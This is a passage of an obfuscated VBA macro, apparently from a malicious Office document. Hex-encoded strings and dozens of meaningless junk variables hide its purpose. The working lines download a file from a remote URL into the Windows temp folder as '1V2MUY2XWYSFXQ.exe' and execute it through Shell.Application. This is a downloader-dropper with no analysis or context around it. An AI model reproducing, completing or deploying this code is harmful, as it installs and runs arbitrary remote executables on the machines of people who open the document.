    mBHJBkd = Environ(v67fYKdf("54454D50")) & v67fYKdf("5C3156324D555932585759534658512E657865")
Dim RHENKqif, uzKMAIJU, wKCcUleh As String
Dim RoDBAORP, noCqWDzQ, wpuxhKvS As String
Dim yMSZgtsr, aWCFOoOt, CXuNrfuu As String
yMSZgtsr = v67fYKdf("20202020202020202020204F51574C4258202020202020202020202020202020")
aWCFOoOt = LTrim(yMSZgtsr)
CXuNrfuu = RTrim(aWCFOoOt)

RoDBAORP = v67fYKdf("2020202020202020202020584B58525451202020202020202020202020202020")
Dim vXeOZYxm, rKPrHzfd, ODlvexyr As String
vXeOZYxm = v67fYKdf("202020202020202020202041474B4B505A202020202020202020202020202020")
rKPrHzfd = LTrim(vXeOZYxm)
ODlvexyr = RTrim(rKPrHzfd)

noCqWDzQ = LTrim(RoDBAORP)
Dim caYXKrer, NsWGAAQv, gzNlYdCu As String
caYXKrer = v67fYKdf("20202020202020202020204F4D4D4D5754202020202020202020202020202020")
NsWGAAQv = LTrim(caYXKrer)
gzNlYdCu = RTrim(NsWGAAQv)

wpuxhKvS = RTrim(noCqWDzQ)

Dim YylWVGbf, LsyVnEEv, JXOPvToV As String
YylWVGbf = v67fYKdf("2020202020202020202020474656554443202020202020202020202020202020")
LsyVnEEv = LTrim(YylWVGbf)
JXOPvToV = RTrim(LsyVnEEv)

RHENKqif = v67fYKdf("202020202020202020202053474C585749202020202020202020202020202020")
Dim LJiNUuRW, vSHmMAxS, keYyQIQh As String
Dim alulkWhJ, CljRSNSK, KmAHurpL As String
alulkWhJ = v67fYKdf("202020202020202020202055565946414A202020202020202020202020202020")
CljRSNSK = LTrim(alulkWhJ)
KmAHurpL = RTrim(CljRSNSK)

LJiNUuRW = v67fYKdf("202020202020202020202051534D4E5347202020202020202020202020202020")
Dim LFXwGalQ, vOEHzxqE, rRsqhJzw As String
LFXwGalQ = v67fYKdf("2020202020202020202020524E5045414C202020202020202020202020202020")
vOEHzxqE = LTrim(LFXwGalQ)
rRsqhJzw = RTrim(vOEHzxqE)

vSHmMAxS = LTrim(LJiNUuRW)
Dim hslilwXq, EzcQcuiL, ydSTuRJd As String
hslilwXq = v67fYKdf("202020202020202020202056464F4B4C57202020202020202020202020202020")
EzcQcuiL = LTrim(hslilwXq)
ydSTuRJd = RTrim(EzcQcuiL)

keYyQIQh = RTrim(vSHmMAxS)

Dim ONegrsxd, WyGkTBnc, MJltEayX As String
ONegrsxd = v67fYKdf("20202020202020202020204851474A4849202020202020202020202020202020")
WyGkTBnc = LTrim(ONegrsxd)
MJltEayX = RTrim(WyGkTBnc)

uzKMAIJU = LTrim(RHENKqif)
Dim GTNfjtOu, rwyJwHWG, YUmQtfRp As String
Dim LezmEPaJ, FesYVGvK, PrwKlLXL As String
LezmEPaJ = v67fYKdf("2020202020202020202020454745475953202020202020202020202020202020")
FesYVGvK = LTrim(LezmEPaJ)
PrwKlLXL = RTrim(FesYVGvK)

GTNfjtOu = v67fYKdf("202020202020202020202051564E574B53202020202020202020202020202020")
Dim grecMTUj, LBPKuNbo, ShAEVuFS As String
grecMTUj = v67fYKdf("2020202020202020202020584B4A534B41202020202020202020202020202020")
LBPKuNbo = LTrim(grecMTUj)
ShAEVuFS = RTrim(LBPKuNbo)

rwyJwHWG = LTrim(GTNfjtOu)
Dim KZHKcaMA, mFtSuvEW, ORqhdpGE As String
KZHKcaMA = v67fYKdf("2020202020202020202020534357505851202020202020202020202020202020")
mFtSuvEW = LTrim(KZHKcaMA)
ORqhdpGE = RTrim(mFtSuvEW)

YUmQtfRp = RTrim(rwyJwHWG)

Dim aYPfCDBP, dSxjvAzW, bKolNhty As String
aYPfCDBP = v67fYKdf("2020202020202020202020425A59485358202020202020202020202020202020")
dSxjvAzW = LTrim(aYPfCDBP)
bKolNhty = RTrim(dSxjvAzW)

wKCcUleh = RTrim(uzKMAIJU)

Dim CfYXZtvO, ollBrLZM, utXSzWil As String
Dim wffZayaY, eLgcJvaX, BMvPsZvC As String
wffZayaY = v67fYKdf("2020202020202020202020505052514552202020202020202020202020202020")
eLgcJvaX = LTrim(wffZayaY)
BMvPsZvC = RTrim(eLgcJvaX)

CfYXZtvO = v67fYKdf("2020202020202020202020434B52495A52202020202020202020202020202020")
Dim zBykErrB, UWDSJvWJ, dHwurMDO As String
zBykErrB = v67fYKdf("202020202020202020202048484C4F5044202020202020202020202020202020")
UWDSJvWJ = LTrim(zBykErrB)
dHwurMDO = RTrim(UWDSJvWJ)

ollBrLZM = LTrim(CfYXZtvO)
Dim myuAycFG, CjwwGWcp, sunBWYOK As String
myuAycFG = v67fYKdf("20202020202020202020204E5145414458202020202020202020202020202020")
CjwwGWcp = LTrim(myuAycFG)
sunBWYOK = RTrim(CjwwGWcp)

utXSzWil = RTrim(ollBrLZM)

Dim brsRFkAP, SpVUhtRM, VhPPKLIt As String
brsRFkAP = v67fYKdf("20202020202020202020204B5656554352202020202020202020202020202020")
SpVUhtRM = LTrim(brsRFkAP)
VhPPKLIt = RTrim(SpVUhtRM)

    nkjBJK = URLDownloadToFileA(0&, KHVnjbOd, mBHJBkd, 0&, 0&)
Dim QvcoFEZX, CRpshkTu, oPXgKyOj As String
Dim eLKRTgYm, VMzHNlrx, MWszmvAc As String
Dim mfMwJzPD, jfrUqyiF, sgfLTqTH As String
mfMwJzPD = v67fYKdf("20202020202020202020204A5742474457202020202020202020202020202020")
jfrUqyiF = LTrim(mfMwJzPD)
sgfLTqTH = RTrim(jfrUqyiF)

eLKRTgYm = v67fYKdf("20202020202020202020204951564D5541202020202020202020202020202020")
Dim mJlQTVaW, NDNyKlKD, RIIntFPR As String
mJlQTVaW = v67fYKdf("20202020202020202020204B5A5751584A202020202020202020202020202020")
NDNyKlKD = LTrim(mJlQTVaW)
RIIntFPR = RTrim(NDNyKlKD)

VMzHNlrx = LTrim(eLKRTgYm)
Dim PBOKHWkK, BGFwXYEn, AaehTrdM As String
PBOKHWkK = v67fYKdf("202020202020202020202049494A505449202020202020202020202020202020")
BGFwXYEn = LTrim(PBOKHWkK)
AaehTrdM = RTrim(BGFwXYEn)

MWszmvAc = RTrim(VMzHNlrx)

Dim jjWDuiCx, gzvntpZW, niqEYCYy As String
jjWDuiCx = v67fYKdf("2020202020202020202020594D51454A59202020202020202020202020202020")
gzvntpZW = LTrim(jjWDuiCx)
niqEYCYy = RTrim(gzvntpZW)

QvcoFEZX = v67fYKdf("2020202020202020202020434952584350202020202020202020202020202020")
Dim sxQEPdXx, JllVCUDg, xfalqeRy As String
Dim HvnqMzUR, QbPxgutT, UbWIIqAU As String
HvnqMzUR = v67fYKdf("2020202020202020202020414E47504757202020202020202020202020202020")
QbPxgutT = LTrim(HvnqMzUR)
UbWIIqAU = RTrim(QbPxgutT)

sxQEPdXx = v67fYKdf("2020202020202020202020464B52554242202020202020202020202020202020")
Dim JLLMlgTM, OoPTpwWc, gtkNcJSg As String
JLLMlgTM = v67fYKdf("202020202020202020202050444443544C202020202020202020202020202020")
OoPTpwWc = LTrim(JLLMlgTM)
gtkNcJSg = RTrim(OoPTpwWc)

JllVCUDg = LTrim(sxQEPdXx)
Dim dnNYTUkQ, GQgngtat, rAmrlHdD As String
dnNYTUkQ = v67fYKdf("202020202020202020202045595453474D202020202020202020202020202020")
GQgngtat = LTrim(dnNYTUkQ)
rAmrlHdD = RTrim(GQgngtat)

xfalqeRy = RTrim(JllVCUDg)

Dim fbKrfVjj, sqmJsNXG, cjuMDFNN As String
fbKrfVjj = v67fYKdf("2020202020202020202020545650515741202020202020202020202020202020")
sqmJsNXG = LTrim(fbKrfVjj)
cjuMDFNN = RTrim(sqmJsNXG)

CRpshkTu = LTrim(QvcoFEZX)
Dim nuVdgBtt, elduVxFb, kilPriNi As String
Dim msuiyIli, hdjlnSJo, sdATWJgp As String
msuiyIli = v67fYKdf("20202020202020202020204A4D594F5751202020202020202020202020202020")
hdjlnSJo = LTrim(msuiyIli)
sdATWJgp = RTrim(hdjlnSJo)

nuVdgBtt = v67fYKdf("20202020202020202020205043455A5545202020202020202020202020202020")
Dim AlWnCHWV, yhZWpqSH, QqphxTRU As String
AlWnCHWV = v67fYKdf("20202020202020202020205A4146464D59202020202020202020202020202020")
yhZWpqSH = LTrim(AlWnCHWV)
QqphxTRU = RTrim(yhZWpqSH)

elduVxFb = LTrim(nuVdgBtt)
Dim lXztNRYa, USiIthKO, pVxZFDAe As String
lXztNRYa = v67fYKdf("2020202020202020202020425541485042202020202020202020202020202020")
USiIthKO = LTrim(lXztNRYa)
pVxZFDAe = RTrim(USiIthKO)

kilPriNi = RTrim(elduVxFb)

Dim iKiEzmqv, mVMYEofO, lOclAqMi As String
iKiEzmqv = v67fYKdf("20202020202020202020205A554B564753202020202020202020202020202020")
mVMYEofO = LTrim(iKiEzmqv)
lOclAqMi = RTrim(mVMYEofO)

oPXgKyOj = RTrim(CRpshkTu)

Dim FHluoVtI, NXtpQSiK, szJddbse As String
Dim TmKWQDLQ, nwzuyKjS, wwslbXFD As String
TmKWQDLQ = v67fYKdf("20202020202020202020205856565A5044202020202020202020202020202020")
nwzuyKjS = LTrim(TmKWQDLQ)
wwslbXFD = RTrim(nwzuyKjS)

FHluoVtI = v67fYKdf("20202020202020202020204B5943444B41202020202020202020202020202020")
Dim KaRumWQT, cXdZUjEc, eKMCMQmg As String
KaRumWQT = v67fYKdf("2020202020202020202020525541584A48202020202020202020202020202020")
cXdZUjEc = LTrim(KaRumWQT)
eKMCMQmg = RTrim(cXdZUjEc)

NXtpQSiK = LTrim(FHluoVtI)
Dim mIPrSDcz, OvGUKvOP, sPrAAXlt As String
mIPrSDcz = v67fYKdf("20202020202020202020204E4E4B484552202020202020202020202020202020")
OvGUKvOP = LTrim(mIPrSDcz)
sPrAAXlt = RTrim(OvGUKvOP)

szJddbse = RTrim(NXtpQSiK)

Dim QGVHMIci, VWPLwxnl, paxXVqRE As String
QGVHMIci = v67fYKdf("20202020202020202020204A594452514C202020202020202020202020202020")
VWPLwxnl = LTrim(QGVHMIci)
paxXVqRE = RTrim(VWPLwxnl)

    Set nvVhjkkj = CreateObject(v67fYKdf("5368656C6C2E4170706C69636174696F6E"))
nvVhjkkj.Open mBHJBkd
End Sub